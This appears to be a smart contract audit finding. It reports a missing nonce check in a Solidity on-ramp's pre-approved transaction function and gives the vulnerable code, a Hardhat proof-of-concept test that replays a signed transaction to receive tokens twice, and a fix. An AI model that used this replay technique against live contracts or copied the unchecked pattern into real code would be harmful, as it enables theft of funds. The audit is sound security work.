HIGH severity: Missing nonce validation in signature verification allows transaction replay attacks. **Description:** The `SecuritizeOnRamp::executePreApprovedTransaction` function fails to validate that the nonce provided in the transaction data matches the expected nonce for the investor before executing the transaction. While the function verifies the EIP-712 signature includes the nonce as...

Vulnerable code:
function executePreApprovedTransaction(
    bytes memory signature,
    ExecutePreApprovedTransaction calldata txData
) public override whenNotPaused {
    bytes32 digest = hashTx(txData);
    address signer = ECDSA.recover(digest, signature);

    // Check recovered address role
    IDSTrustService trustService = IDSTrustService(dsToken.getDSService(dsToken.TRUST_SERVICE()));
    uint256 signerRole = trustService.getRole(signer);
    if (signerRole != trustService.EXCHANGE() && signerRole != trustService.ISSUER()) {
        revert InvalidEIP712SignatureError();
    }
    noncePerInvestor[txData.senderInvestor] = noncePerInvestor[txData.senderInvestor] + 1;
    Address.functionCall(txData.destination, txData.data);
}

it('Should allow replay attack - nonce not validated properly', async function () {
      // Setup initial balances and approvals for multiple transactions
      await usdcMock.mint(unknownWallet, 2e6); // Mint 2M USDC for two transactions
      await dsTokenMock.issueTokens(assetProviderWallet, 2e6); // Issue 2e6 DS tokens

      const liquidityFromInvestor = usdcMock.connect(unknownWallet) as Contract;
      await liquidityFromInvestor.approve(onRamp, 2e6); // Approve 2 USDC

      const dsTokenFromAssetProviderWallet = dsTokenMock.connect(assetProviderWallet) as Contract;
      await dsTokenFromAssetProviderWallet.approve(assetProvider, 2e6); // Approve 2e6 DS tokens

      const calculatedDSTokenAmount = await onRamp.calculateDsTokenAmount(1e6);

      // Create first transaction with nonce 0
      const subscribeParams = [
          '1',
          await unknownWallet.getAddress(),
          'US',
          [],
          [],
          [],
          980000,
          1e6,
          blockNumber + 10,
          HASH,
      ];
      const txData = await buildTypedData(onRamp, subscribeParams);
      const signature = await eip712OnRamp(eip712Signer, await onRamp.getAddress(), txData);

      // Verify initial nonce is 0
      expect(await onRamp.nonceByInvestor('1')).to.equal(0);

      // Execute first transaction successfully
      await expect(onRamp.executePreApprovedTransaction(signature, txData))
          .emit(onRamp, 'Swap')
          .withArgs(onRamp, calculatedDSTokenAmount, 1e6, unknownWallet);

      // Verify nonce is now 1 after first transaction
      expect(await onRamp.nonceByInvestor('1')).to.equal(1);

      // Verify first transaction effects
      expect(await dsTokenMock.balanceOf(unknownWallet)).to.equal(calculatedDSTokenAmount);
      expect(await usdcMock.balanceOf(unknownWallet)).to.equal(1e6); // 1e6 remaining

      // VULNERABILITY: Replay the same transaction with the same signature and nonce 0
      // This should fail but doesn't because nonce validation is missing
      await expect(onRamp.executePreApprovedTransaction(signature, txData))
          .emit(onRamp, 'Swap')
          .withArgs(onRamp, calculatedDSTokenAmount, 1e6, unknownWallet);

      // Verify the replay attack succeeded - investor got double the tokens
      expect(await dsTokenMock.balanceOf(unknownWallet)).to.equal(calculatedDSTokenAmount * 2n);
      expect(await usdcMock.balanceOf(unknownWallet)).to.equal(0); // All USDC spent

      // Verify nonce was incremented again (now 2) even though we replayed nonce 0
      expect(await onRamp.nonceByInvestor('1')).to.equal(2);
  });

function executePreApprovedTransaction(
    bytes memory signature,
    ExecutePreApprovedTransaction calldata txData
) public override whenNotPaused {
+   // Validate nonce matches expected value
+   if (txData.nonce != noncePerInvestor[txData.senderInvestor]) {
+       revert InvalidEIP712SignatureError();
+   }
+
    bytes32 digest = hashTx(txData);
    address signer = ECDSA.recover(digest, signature);

    // Check recovered address role
    IDSTrustService trustService = IDSTrustService(dsToken.getDSService(dsToken.TRUST_SERVICE()));
    uint256 signerRole = trustService.getRole(signer);
    if (signerRole != trustService.EXCHANGE() && signerRole != trustService.ISSUER()) {
        revert InvalidEIP712SignatureError();
    }
    noncePerInvestor[txData.senderInvestor] = noncePerInvestor[txData.senderInvestor] + 1;
    Address.functionCall(txData.destination, txData.data);
}